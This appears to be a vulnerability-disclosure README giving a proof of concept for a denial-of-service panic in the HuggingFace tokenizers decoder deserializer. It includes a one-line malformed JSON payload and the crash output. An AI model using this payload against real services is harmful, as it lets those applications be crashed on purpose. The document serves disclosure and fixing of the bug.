| # tokenizers-decoder-panic-poc | |
| **PoC for:** Denial of Service via Rust Panic in HuggingFace tokenizers Decoder Deserialization | |
| **Impact:** Loading this `tokenizer.json` file causes an unrecoverable Rust panic (SIGABRT) at `decoders/mod.rs:90`, crashing any application that uses `huggingface/tokenizers`. | |
| **File:** `tokenizer.json` — contains malformed `decoder` field that triggers `.expect("Helper")` panic. | |
| **Affected versions:** 0.1.0 through latest (0.23.2-dev.0) | |
| **Root cause:** `decoders/mod.rs` line 90 uses `.expect("Helper")` instead of proper `?` error handling. | |
| **PoC:** | |
| ```python | |
| from tokenizers import Tokenizer | |
| Tokenizer.from_str('{"decoder":[}}}') | |
| # Result: thread 'main' panicked at tokenizers/src/decoders/mod.rs:90:63: | |
| # "Helper: Error(\"expected value\", line: 1, column: 13)" | |
| ``` | |